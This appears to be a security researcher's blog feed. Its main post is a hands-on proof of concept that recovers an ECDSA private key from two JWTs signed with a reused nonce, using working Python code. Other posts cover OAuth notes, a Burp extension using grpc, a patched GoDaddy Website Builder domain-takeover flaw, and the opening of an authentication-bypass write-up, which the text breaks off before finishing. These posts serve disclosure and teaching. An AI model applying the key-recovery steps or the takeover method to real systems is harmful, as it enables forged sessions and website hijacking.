ECDSA Nonce Reuse gained a lot of traction when researchers leveraged this technique to be able to bypass the code signing verification process on Sony’s Playstation 3 Consoles. As Sony was using the same static nonce value to sign the firmware, the researchers were able to extract the ECDSA Private Key and as such sign their own binaries thus allowing the binaries to be ran on the Playstation 3. Recently this technique has been getting a lot of attention due to the various digital currencies which employ ECDSA as the cryptographic algorithm.

Please note this fatal flaw does not stem from ECDSA itself, but rather an incorrect implementation of it. As such, the old adage appears to be true in that whenever a developer tries to roll their own crypto, problems seem to always arise.

ECDSA Crash Course

ECDSA aka Elliptic Curve Digital Signature Algorithm is an asymmetric encryption algorithm meaning it possesses both a public key and a private key. The private key is typically used to sign a message, while the \public key is used to verify that the message was signed by the respective private key. Compared to its older ‘brother’ RSA, ECDSA is less widely used. One benefit of using ECDSA compared to RSA is that its signatures are shorter and have the same security strength.

To learn more how ECDSA works under the hood, it is highly recommended to read this wonderful resource.

Realistic Proof of Concept

This proof of concept will demonstrate a scenario in which a web application is using a flawed implementation of ECDSA to sign a JWT. The claims within the JWT are used to identify the user.

Here is an example of how the claims in the payload will appear:

{
	"username": "maxim",
	"email": "maxim@localhost"
}

As mentioned before, the web application is using a vulnerable implementation of ECDSA when signing the JWT token. In this case, the flaw is that a static nonce is re-used to sign the JWT.

First, the user successfully authenticates with the application in which the following session cookie is set. The value of the cookie is:

eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6Im1heGltIiwiZW1haWwiOiJtYXhpbUBsb2NhbGhvc3QifQ.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ

As this appears to be a JWT, it can be used with a JWT debugger such as jwt.io to learn more about how the JWT was constructed:

Shown in the header section, ES256 is the algorithm which was used to sign the JWT. As you might’ve guessed it, ES256 is SHA256 with ECDSA meaning that the JWT header and payload were first hashed using SHA256 and then signed using the ECDSA algorithm.

Take a note of the signature in the JWT as it will come in handy later:

RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ

In order to verify ECDSA is using the same nonce to sign messages, you will need another sample from the application. In this scenario, another JWT can be achieved by using the web application’s self-sign up functionality and registering another user. Then authenticating with that user yielding another JWT:

eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg

Notice anything interesting? The first part of both signatures are the same value:

RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViug

This is an indicator that the same nonce is being used to sign messages!

In order to exploit this, first the respective public key associated with these signatures needs to be derived. The Public Key can actually be recovered from the signature itself and involves a fairly trivial reversing process coupled with using two Python libraries which will handle the majority of the heavy lifting.

Here are the steps:

Split the JWT into its three respective parts by using the . as a delimeter.
Retrieve the header and data (payload) values and generate a SHA256 digest using them. Return the bytes digest as a long (as that’s what the library in the next step will expect.)
Using the python-ecdsa library, instantiate a Signature object.
Call the recover_public_keys() method on the Signature object.
Verify at least one of the public keys (the method returns two public keys) works with verifying both JWT signatures.
Use the ecdsa-key-recovery library to recover the Private Key.

Lets start by using the first JWT obtained from the web application:

eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6Im1heGltIiwiZW1haWwiOiJtYXhpbUBsb2NhbGhvc3QifQ.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ

Step 1 - Split the JWT into its three respective parts:

header = 'eyJhbGciOiJFUzI1NiJ9'
payload = 'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'
signature = 'RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg'

Step 2 - hashing the header and payload using SHA256:

from Crypto.Util.number import bytes_to_long
from hashlib import sha256
header = 'eyJhbGciOiJFUzI1NiJ9'
payload = 'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'
bytes_to_long(sha256(f"{header}.{payload}".encode()).digest())

>>> 107606344816097082653668281381475381292883269944958848528295251319167973024164

Step 3 - using the python-ecdsa library to instantiate a Signature object.

Looking in the code, it appears the constructor expects two ints, r and s:

 """
    ECDSA signature.
    :ivar int r: the ``r`` element of the ECDSA signature
    :ivar int s: the ``s`` element of the ECDSA signature
    """

    def __init__(self, r, s):
        self.r = r
        self.s = s

To retrieve these values, the JWT signature needs to be base64 decoded and needs to be converted to a long:

Note: If you get an incorrect padding error, pad it with = until it works. The amount of = won’t make a difference. However to do it the more ‘legit’ way, check the amount of characters in the signature and then pad it with = until it’s divisible by 4:

len('RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ')
>>> 86 # thus requiring two = to be padded

from ecdsa.ecdsa import Signature
import base64
from Crypto.Util.number import bytes_to_long

sig_decoded = bytes_to_long(base64.urlsafe_b64decode('RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ=='))
sig = Signature(sig_decoded >> 256, sig_decoded % 2**256)
sig
>>> <ecdsa.ecdsa.Signature object at 0x10907f430>

Step 4 - Now that the Signature object has been instantiated, it is time to derive the public keys.

The recover_public_keys() method requires the hash (which was the long value generated in Step 2), and a generator object.

from ecdsa.ecdsa import generator_256

keys = sig.recover_public_keys(107606344816097082653668281381475381292883269944958848528295251319167973024164, generator_256)
keys
>>> [<ecdsa.ecdsa.Public_key object at 0x10907f0d0>, <ecdsa.ecdsa.Public_key object at 0x108ae1f70>]

As shown above, an array of two Public Key objects are returned.

Step 5 - Verify that at least one of the Public Keys works with verifying both JWT signatures.

In this step, we will need to repeat Step 3 using JWT #2 in order to instantiate a second signature object.

eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg

sig_decoded_2 = bytes_to_long(base64.urlsafe_b64decode('RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg=='))
sig2 = Signature(sig_decoded_2 >> 256, sig_decoded_2 % 2**256) 

With the second signature object created, we will need to repeat Step 2 to generate the msghash for JWT #2 (as it will be required by the verification method):

header = 'eyJhbGciOiJFUzI1NiJ9' 
payload = 'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'
bytes_to_long(sha256(f"{header}.{payload}".encode()).digest())
>>> 65490965914125282845354934350820906131343154390672003299727997819010148559345

Before moving further, lets reiterate all the values we have:

msghash_1 = 107606344816097082653668281381475381292883269944958848528295251319167973024164
msghash_2 = 65490965914125282845354934350820906131343154390672003299727997819010148559345

sig # Signature object for JWT #1
sig_2 # Signature object for JWT #2
keys # array of public keys

Looking in the python-ecdsa code, there is an instance method belonging to the Public_key class called verifies:

def verifies(self, hash, signature):
			"""Verify that signature is a valid signature of hash.
			Return True if the signature is valid.
			"""

Lets try using the first key generated to verify the msghash and signature of the first JWT.

keys[0].verifies(msghash_1, sig)
>>> True	

Awesome it works, which is not too surprising as these instances of the message hash and signature were used to derive the public keys. Now the final test is verifying whether the public key verifies the second message hash and its respective signature.

keys[0].verifies(msghash_2, sig2)
>>> False

Hmm it does not work, not good. Before going into panic mode, lets use the second Public Key in the array to verify both sets of message hashes and signatures once more.

keys[1].verifies(msghash_1, sig)
>>> True

keys[1].verifies(msghash_2, sig2)
>>> True

Perfect looks like the second Public Key in the array is able to verify both JWT signatures!

To make it easier to remember, we assign the value of the second index in the keys array to a variable called pubkey:

pubkey = keys[1]

Step 6 - Use the ecdsa-key-recovery library to recover the Private Key.

Reviewing the README in the ecdsa-key-recovery libraries’ Github Repo, instructions are shown on how to use the dependency:

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

Disclaimer, there is a small error and the actual API call looks the following:

sampleA = EcDsaSignature((r, sA), hashA, pubkey, curve)
sampleB = EcDsaSignature((r, sB), hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.

With that being said, lets plugin in the variables:

sampleA = EcDsaSignature((sig.r, sig.s), msghash_1, pubkey, ecdsa.NIST256p)
sampleB = EcDsaSignature((sig2.r, sig2.s), msghash_2, pubkey, ecdsa.NIST256p)

Note: If you may be wondering where the constant came from which defines the curve, it was defined in the python-ecdsa library:

https://github.com/tlsfuzzer/python-ecdsa/blob/master/src/ecdsa/curves.py#L333

With both sampleA and sampleB objects instantiated, the recover_nonce_reuse() method can now be called:

recovered = sampleA.recover_nonce_reuse(sampleB)

To verify the private key was successfully recovered, we can call the privkey attribute on the recovered object;

recovered.privkey
>>> <ecdsa.ecdsa.Private_key object at 0x104aa1e20>

Awesome the privkey attribute contains an instance of an ECDSA Private Key object.

The final verification step is to use the recovered private key to sign a message and ensure it can be verified with the public key.

msg = 'does this work'
k = 12345 # nonce
msghash = sha256(msg.encode()).digest()
sig = recovered.privkey.sign(bytes_to_long(msghash), k)
pubkey.verifies(bytes_to_long(msg_hash), sig)
>>> True

Perfect the signature signed using the recovered private key is able to be verified with the derived public key.

In the case of the web application, the attacker would now be able to mint a new JWT with modified claims and gain access to the application as a highly privileged user, e.g:

{
	"username": "admin",
	"email": "admin@localhost"
}

Conclusion

A great way to end the blog post is by reiterating that this isn’t a flaw within the ECDSA algorithm itself but rather a flawed implementation of it. In this scenario it occurred due to the developer attempting to roll their own crypto (as sometimes it may seem as simple as plugging variables into a formula). Typically by using tried and true dependencies, a developer is able to relieve the responsibility of correctly implementing the respective algorithm. However be note, even in the case where a trusted library such as one that’s packaged with the programming language otherwise known as a standard library, can contain flaws. In April it was discovered that Java suffered a critical vulnerability where its ECDSA signature verification algorithm was flawed thus allowing an attacker to trivially construct an ECDSA signature which would always be successfully validated. The reason this happened was due to the ECDSA code being rewritten for the Java 15 release.

To provide a quick TL;DR about this post for pentesters - in a black-box engagement, if the application is discovered to be using ECDSA as a signing algorithm, collect a sample of signatures and ensure they don’t each start with the same pattern.

Thanks for reading.

OAuth Research Notes

Wed, 28 Sep 2022 00:00:00 +0000

Preface

After reading So Good They Can't Ignore You by Cal Newport, I was enthralled by the topic of Little Bets.

Little Bets are defined as:

bite-sized, carefully chosen projects that take no more than a few months, give you valuable feedback, and help you to determine your next steps. You don’t need to commit to a project that will determine your work life for the next few years. Take on small projects and continuously adapt.

Source

In the book, the author gives an example of a recently published paper which in his community was gaining a lot of traction. While people were able to adequately explain the topic of the paper at a high level, very few understood how it worked under the hood. The author chose to spend an hour a day learning the paper over the period of two weeks until they eventually accomplished an expert level of understanding and even going as far to discover a mistake made in the paper.

With that being said, I wanted to replicate the author’s experience and as such I chose OAuth as my research project. The two main reasons why I chose OAuth as the research topic is due to how broad the topic is and its increasing popularity in the recent years. Rather than researching some novel attack techniques, I first needed to take a step back and actually do a deep dive and understand what OAuth is and how it works.

Notes

After spending a few weeks studying the topic across different sources, I compiled my notes into an easily digestible Gitbook Notebook which can be found at:

https://mqt.gitbook.io/oauth-research/

The intended audience of the notebook is for everyone regardless if they’re a developer or a pentester. The notes were designed in such a way that if you blank on a specific OAuth topic, you can quickly revisit the notes and read a high level overview. Furthermore included in the notes are several proof of concepts which demonstrate various vulnerabilities that could be found in an OAuth implementation.

Conclusion

Thanks for reading and please reach out if you have any questions and/or suggestions.

Writing a Burp Extension which uses grpc under the hood

Sat, 30 Jul 2022 00:00:00 +0000

Introduction

Recently I worked on writing a Burp Extension which uses grpc to pass responses to an external service that would then further analyze the information. The reason grpc was chosen for this task was due to both its interoperability with other languages and its high throughput. This blog post aims to provide a walkthrough of my experience writing this extension and some pitfalls which were encountered.

Scaffolding the Burp Extension

To quickly scaffold a Burp Extension, it is highly recommended to use the following Maven archetype. Once the project is setup, you will need to add the following dependencies to your pom file:

<dependencies>
        <dependency>
            <groupId>javax.annotation</groupId>
            <artifactId>javax.annotation-api</artifactId>
            <version>1.3.2</version>
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-netty-shaded</artifactId>
            <version>1.45.0</version>
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-protobuf</artifactId>
            <version>1.45.0</version>
        </dependency>
        <dependency>
            <groupId>io.grpc</groupId>
            <artifactId>grpc-stub</artifactId>
            <version>1.45.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/net.portswigger.burp.extender/burp-extender-api -->
        <dependency>
            <groupId>net.portswigger.burp.extender</groupId>
            <artifactId>burp-extender-api</artifactId>
            <version>2.3</version>
        </dependency>
    </dependencies>

Furthermore, ensure to add the following plugins as well:

<plugins>
            <plugin>
                <groupId>org.xolstice.maven.plugins</groupId>
                <artifactId>protobuf-maven-plugin</artifactId>
                <version>0.6.1</version>
                <configuration>
                    <protocArtifact>com.google.protobuf:protoc:3.21.4:exe:${os.detected.classifier}</protocArtifact>
                    <pluginId>grpc-java</pluginId>
                    <pluginArtifact>io.grpc:protoc-gen-grpc-java:1.48.0:exe:${os.detected.classifier}</pluginArtifact>
                </configuration>
                <executions>
                    <execution>
                        <goals>
                            <goal>compile</goal>
                            <goal>compile-custom</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <mainClass></mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
            </plugin>
        </plugins>

Boilerplate Code

Provided below is sample code that could be used as a boilerplate to build out the extension.

BurpExtender.java

//Hello World burp extension taken from https://github.com/PortSwigger/example-hello-world/tree/master/java
package burp;

import proto.ResponseCollectionServiceGrpc;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IExtensionStateListener, IHttpListener {

    private IBurpExtenderCallbacks callbacks;
    private IExtensionHelpers helpers;
    public static PrintWriter stdout;
    private ResponseCollectionServicerpc.ResponseCollectionServiceBlockingStub stub;

    private Client grpcClient;


    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        this.callbacks = callbacks;
        this.helpers = callbacks.getHelpers();
        callbacks.setExtensionName("Grpc Sample Extension");

        stdout = new PrintWriter(callbacks.getStdout(), true);

        this.grpcClient = Client.getInstance();
        callbacks.registerHttpListener(this);
        callbacks.registerExtensionStateListener(this);
    }

    @Override
    public void extensionUnloaded() {
        grpcClient.closeChannel();
    }

    @Override
    public void processHttpMessage(int i, boolean messageIsRequest, IHttpRequestResponse message) {

        if (messageIsRequest) {
            return;
        }

        IRequestInfo reqUrl = helpers.analyzeRequest(message.getHttpService(), message.getRequest());

        grpcClient.sendData(reqUrl.getUrl().toString(), message.getResponse());
    }
}

Client.java:

package burp;

import com.google.protobuf.ByteString;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
import io.grpc.stub.StreamObserver;
import proto.ResponseCollectionServiceGrpc;
import proto.ResponseCollectionServiceGrpcCollectionServiceOuterClass;

public class Client {

    private static Client instance = null;
    private static ResponseCollectionServiceGrpc.ResponseCollectionServiceStub stub = null;
    private ManagedChannel channel;

    private Client() {
        BurpExtender.stdout.println("instantiating client");
        channel = ManagedChannelBuilder.forTarget("localhost:4040").usePlaintext().build();
        stub = ResponseCollectionServiceGrpc.newStub(channel);

    }

    public static Client getInstance() {
        if (instance == null) {
            instance = new Client();
        }

        return instance;
    }

    private StreamObserver<ResponseCollectionServiceOuterClass.Response> getServerResponseObserver() {
        StreamObserver<ResponseCollectionServiceOuterClass.Response> observer = new StreamObserver<ResponseCollectionServiceOuterClass.Response>() {
            @Override
            public void onNext(ResponseCollectionServiceOuterClass.Response response) {
            }

            @Override
            public void onError(Throwable throwable) {
            }

            @Override
            public void onCompleted() {
            }
        };
        return observer;
    }

    public void sendData(String url, byte[] response) {
       ResponseCollectionServiceOuterClass.Request request = ResponseCollectionServiceOuterClass.Request.newBuilder().setUrl(url).setRawresponse(ByteString.copyFrom(response)).build();

        BurpExtender.stdout.printf("DEBUG: sending %s to server\n", url);
        try {
            stub.collectresponse(request, getServerResponseObserver());
        } catch (Exception e) {
        }
    }

    public void closeChannel() {
        channel.shutdownNow();
    }
}

ResponseCollectionService.proto

syntax = 'proto3';

package proto;

service ResponseCollectionService {
	rpc CollectResponse(Request) returns (Response) {}
}

message Request {
	string url = 1;
	bytes rawresponse = 2;
}

// empty response as not sending anything back to Burp
message Response {

}

Pitfalls Encountered

Note: At the current time, the latest version of the grpc dependencies for Java is 1.48.0. However I noticed that when using this specific version, the following exception will be thrown when the grpc stub is invoked:

Caused by: java.nio.channels.UnsupportedAddressTypeException
at java.base/sun.nio.ch.Net.checkAddress(Net.java:146)
at java.base/sun.nio.ch.Net.checkAddress(Net.java:157)
at java.base/sun.nio.ch.SocketChannelImpl.checkRemote(SocketChannelImpl.java:816)
at java.base/sun.nio.ch.SocketChannelImpl.connect(SocketChannelImpl.java:839)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils$3.run(SocketUtils.java:91)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils$3.run(SocketUtils.java:88)
at java.base/java.security.AccessController.doPrivileged(AccessController.java:569)
at io.grpc.netty.shaded.io.netty.util.internal.SocketUtils.connect(SocketUtils.java:88)
at io.grpc.netty.shaded.io.netty.channel.socket.nio.NioSocketChannel.doConnect(NioSocketChannel.java:322)
at io.grpc.netty.shaded.io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.connect(AbstractNioChannel.java:248)
at io.grpc.netty.shaded.io.netty.channel.DefaultChannelPipeline$HeadContext.connect(DefaultChannelPipeline.java:1342)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.invokeConnect(AbstractChannelHandlerContext.java:548)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.connect(AbstractChannelHandlerContext.java:533)
at io.grpc.netty.shaded.io.netty.channel.ChannelDuplexHandler.connect(ChannelDuplexHandler.java:54)
at io.grpc.netty.shaded.io.grpc.netty.WriteBufferingAndExceptionHandler.connect(WriteBufferingAndExceptionHandler.java:157)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.invokeConnect(AbstractChannelHandlerContext.java:548)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext.access$1000(AbstractChannelHandlerContext.java:61)
at io.grpc.netty.shaded.io.netty.channel.AbstractChannelHandlerContext$9.run(AbstractChannelHandlerContext.java:538)
at io.grpc.netty.shaded.io.netty.util.concurrent.AbstractEventExecutor.runTask(AbstractEventExecutor.java:174)
at io.grpc.netty.shaded.io.netty.util.concurrent.AbstractEventExecutor.safeExecute(AbstractEventExecutor.java:167)
at io.grpc.netty.shaded.io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks(SingleThreadEventExecutor.java:470)
at io.grpc.netty.shaded.io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:503)
at io.grpc.netty.shaded.io.netty.util.concurrent.SingleThreadEventExecutor$4.run(SingleThreadEventExecutor.java:995)
at io.grpc.netty.shaded.io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)
at io.grpc.netty.shaded.io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
... 1 more

When first encountering this exception, I initially thought it was due to maybe the Burp platform version being bundled with a newer version of JDK which in turn packages its own JRE. To test whether this was the issue, I re-created the project locally ensuring it is compiled using the same JDK version that the Burp platform is bundled with, and to my surprise, there was no error. I then tried using the Burp standalone jar with different Java versions and the same error kept occurring. Lastly, as a resort I decided to downgrade the dependency to 1.45.0 and it worked without any issues.

Hijacking Over 100k GoDaddy Websites

Wed, 25 May 2022 00:00:00 +0000

Summary

GoDaddy is a well-known domain registrar which also offers various complementary services such as hosting and website building. One service, in particular, is the Website Builder which allows anyone to build and publish a website regardless of their technical ability. As typical with these services, they allow custom domains to be configured with the website.

Due to a misconfiguration, it was discovered that any domain hosting a website built using this service could be taken over. This required no prior knowledge about the victim nor any interaction, but rather publishing your website using the target’s domain name thus overwriting the existing configuration as there was no validation performed.

Using various historical DNS data sources, it was roughly estimated that over 100,000 websites were susceptible to this vulnerability.

Impact

The impact is pretty much identical to a typical subdomain takeover with some caveats as GoDaddy doesn’t appear to allow the user to access server-side logs. An attacker would still be able to take several different avenues:

Serving malicious Javascript which could be leveraged to access cookies scoped to the parent domain (however in this case only cookies missing the HttpOnly flag), bypassing CORS whitelisting, and much more.
Serving phishing content to visitors.

Deep Dive

Disclaimer: Anything mentioned in this section regarding how GoDaddy’s web hosting works under the hood is simply an assumption as GoDaddy did not share any information.

When a website is published using the website builder, it is hosted using GoDaddy’s shared web-hosting service. Like typical shared web-hosting services, virtual hosting is used thus granting the ability for a single webserver to host multiple websites. In order to route the end-user to the correct website, the value of the Host header found in the HTTP request is used.

One interesting thing that was discovered during the investigation process was that any IP Address belonging to the shared web hosting service could be used to serve the contents of any website built using the website builder.

To help illustrate this fact, we can take an example subdomain such as shop.lumby.cyou. When resolving the subdomain, we see that it points to 198.71.232.11 which is one of the IP Addresses used by GoDaddy’s shared web hosting service.

⇒ dig shop.lumby.cyou +short 
198.71.232.11

However, if we try accessing the site using a different IP Address used by GoDaddy’s shared web-hosting service such as 72.167.191.83, it is still able to serve the contents of our site despite it being a completely different web-server:

⇒ curl 'http://72.167.191.83' -H 'Host: shop.lumby.cyou -is | head -n 10

HTTP/1.1 200 OK
<redacted for sake of brevity>
Cache-Control: max-age=30
Content-Security-Policy: frame-ancestors 'self' godaddy.com test-godaddy.com
dev-godaddy.com *.godaddy.com *.test-godaddy.com *.dev-godaddy.com
content-type: text/html;charset=utf-8
Vary: Accept-Encoding
Content-Encoding: raw
Server: DPS/1.13.2
X-SiteId: 1000
Set-Cookie: dps_site_id=1000; path=/
<redacted for sake of brevity>

This behavior itself is not strange but most likely done for a legitimate reason which is fault tolerance. The virtual hosting settings are replicated across each web server in case one goes down, another could act as a stand-in without risking the loss of customer’s data.

The reason this behavior was mentioned will be circled back to at the end of this section as it was vital for widespread exploitation.

Now to move onto the exploitation process.

When connecting a custom domain to the website builder, there will be a prompt that will ask for the domain:

At this stage an attacker would input a domain that is already pointing to GoDaddy’s shared web hosting services. If you’re wondering how an attacker would know which domains point to this service, it’s fairly simple. An attacker could go through this flow using a legitimate domain and on the next prompt, GoDaddy will provide the IP Address for which the DNS Record needs to be set to:

The attacker could repeat this flow a few times and eventually end up with a list of IP Addresses. This list could then be cross-referenced against various passive DNS resources to eventually end up with a catalog of domains.

Finally, after clicking through a few confirmation prompts, the attacker can visit the victim’s domain and observe that instead of the victim’s website being served, it is in fact the attacker’s.

An inadvertent side-effect was also discovered, if the attacker disconnects the victim’s domain from the attacker’s site after connecting it, the victim’s domain will enter a ‘nulled’ state as it appears the virtual hosting settings were overwritten and thus won’t serve their original website. To fix this, the victim will need to re-connect their domain or reach out to GoDaddy for further assistance.

Lastly, to conclude this section, we mentioned earlier that it was interesting that GoDaddy replicates the virtual hosting settings across all the webservers. This behavior is what allowed this misconfiguration to be so widespread. In the case where the replication behavior didn’t occur, an attacker would only be able to target domains that were hosted on the same shared web hosting server. While this itself wouldn’t be enough to stop an attacker from wreaking havoc, it wouldn’t have made it as easy as it was to target practically any domain using GoDaddy’s shared web hosting.

To see this in action, please watch the following proof of concept video. The left browser is the victim, while the right is simulating the attacker.

Credits

Timeline

17/03/2022 - Vulnerability discovered and report is submitted to GoDaddy’s Vulnerability Disclosure Program.
18/03/2022 - GoDaddy confirms they received the vulnerability and are investigating.
30/03/2022 - GoDaddy verifies that the vulnerability has been patched.

7-Peat - Hacking 7 Power Companies

Wed, 01 Sep 2021 00:00:00 +0000

Introduction

This blog post will demonstrate how a low-hanging fruit discovered in a relatively unknown SaaS application used mainly by energy companies allowed an attacker to bypass the authentication and access sensitive (customer) data. Along with describing the attack itself, a few other points will be discussed regarding the challenges large organizations face within application security.

Motivation

Working application security at a large organization I’ve witnessed several challenges that many organizations face. With hundreds or even thousands of applications, it becomes daunting to not only keep track of which applications are exposed on the internet (looking at you Shadow-It) but also ranking the applications in a way that will prioritize the ones warranting a pentest. Regarding the first point about internet exposure, this led to the birth of the Attack Surface Management (ASM) market. A new mantra has been adopted by several of these ASM companies which essentially is “What you can’t see, can hurt you”.

Furthermore, with the rapid advancement in DevSecOps processes and tools, more and more low-hanging fruits are caught and mitigated during the development life cycle. As such when developing in-house applications, you have the ability to see the DevSecOps processes which are implemented and make any alterations that you see fit. However this now completely changes when purchasing software from a third-party vendor. As you lack the visibility on how the security phase within the vendor’s development lifecycle operates, you are only left with the choice of hoping it’s done correctly, let alone if it’s done at all.

As such several mature security teams have adopted a third-party risk management program (TPRM) which performs risk assessments and even pentests in some cases on vendor software. Because both manpower and time are finite resources, it becomes a challenge to prioritize these assessments and in the majority of cases software, particularly scanners are leveraged to perform the job. It has been pointed out several times in the past, vulnerability scanners are not a one-size-fits-all approach. If anything, a vulnerability scanner shouldn’t be finding anything if the DevSecOps pipeline is properly implemented.

As mentioned earlier, one of the challenges is developing a methodology to rank applications based on some index that will prioritize the ones that will warrant a pentest. From a quick overlook, it’s quite obvious that this specific index would be the risk the application poses. As such the DREAD & STRIDE threat modeling methodologies have been introduced. An example of this could be comparing two applications where one is dynamic, accessing sensitive data, and all in all, possessing a far bigger attack surface when compared to an application that just has a static page displaying the organization’s stock prices fetched from a third-party API. Based on this example it’s obvious that the first application would rank higher based on risk. While the comparison in the last example was obvious, it becomes exponentially harder the larger the organization and the more applications it has. Two main challenges specifically stem from this; first, several factors will come into play an example being environmental factors (is the application exposed to the internet?) while the second challenge is the amount of labor that will need to be exerted to track down every application the organization is supporting (whether first/third party) and meet with the associated team that’s managing it. Meeting with the responsible teams has its own set of challenges particularly some being that the requirements document has been lost, some features have been understated while others having been exaggerated…

To combat some of the points discussed above, my team has been experimenting with various workflows. One of the workflows that we have found that currently works best is using software to map out the attack surface and then using the human approach to quickly categorize the risk the application poses. To map out the public attack surface, we have been leveraging the power of the Intrigue Core Engine. The Core Engine is a powerful beast as it will utilize different techniques to best map out the attack surface while also providing software fingerprints due in part to the robust application and service fingerprinting library known as Intrigue Ident. By fingerprinting the software, the Core Engine is then able to perform inferential vulnerability and misconfiguration checks based on the fingerprint returned by the software. This approach is stellar as it saves both time and tripping any wires that may alert the SOC team when compared to spraying and praying exploits. Throughout solidifying this workflow we have discovered several cues which help us to quickly categorize whether an application is worth further exploring or put it on the backburner.

Examples of such cues can include:

Please keep in mind that all the cues described below are accounting for the fact that the application is exposed to the Internet. While it is true that internal applications possess a risk, an attacker would require access by other means most likely by leveraging some form of exploitation in an exposed asset thus increasing the complexity required to exploit internal applications.

Whether or not the application is behind a login panel. If so, this may mean that the application possesses some form of information that requires an authorized party to view and at the very least has some form of attack surface with services talking to another one another (e.g DBMS, etc.)
If the software is provided by a third party and by which third party. This is a bit more subjective, however, if it’s a reputable vendor that’s known to take security seriously (such as by managing a bug bounty program, etc) there’s more confidence that it poses less risk compared to a smaller less reputable company.

Using these points along with the workflow described earlier is how the finding which will be described in the next section was discovered.

Finding

As mentioned, our organization runs a scan using Intrigue Core on a weekly basis. When reviewing the results, it was noticed that an asset that had an “Exposed Login Panel” was detected. While this by itself is not a vulnerability however citing the cues listed earlier, this did check off the two boxes (being exposed to the public + having a login panel). As this was discovered on a Friday afternoon right before a three-day weekend, chasing down the team responsible for managing this application would have been out of the question.

To provide some context regarding the application to make the rest of this section easier to understand. The application which will be shown is known as the EECP aka Energy Efficiency Collaboration Platform. This application is developed and managed by DirectTechnology. The premise behind the application is to provide energy companies a ‘platform’ in which they could collaborate with independent local contractors that will be contracted out to perform essential maintenance tasks for the energy company’s customers. Within this platform, the contractor is provided an account where they can be assigned jobs and have the ability to create invoices that will be charged to the energy company. Furthermore anytime a job is performed for a customer, the customer’s information is saved to the platform. This information will include the customer’s personal information such as their full name, address, email, account number, etc. However, it may also include more detailed information about the customer’s residence such as the type of stove they have (gas/electrical).

Poking around on the application, firing a request to any arbitrary path would have the application respond with a redirect bouncing the user back to the login panel. Some paths such as the directories which held static files were not redirected however, they did not yield any fruitful results. Eventually while iterating through wordlists, a directory was discovered that would not be met with a redirect which was /onlineapp.

As shown in the screenshot above, the response would return a page that contained the following text: Please check that compatibility mode has not been enabled.

At first thinking this was referring to Internet Explorer’s compatibility mode, Internet Explorer was used to browse to the path and the same result was returned.

Additional directory bruteforcing returned that home was a valid route. Browsing to /onlineapp/home now instead returned:

With a different response returned, the page was examined more closely and it was discovered that it was sourcing a fair amount of Javascript. This was done by viewing the Sources in the Chrome DevTools:

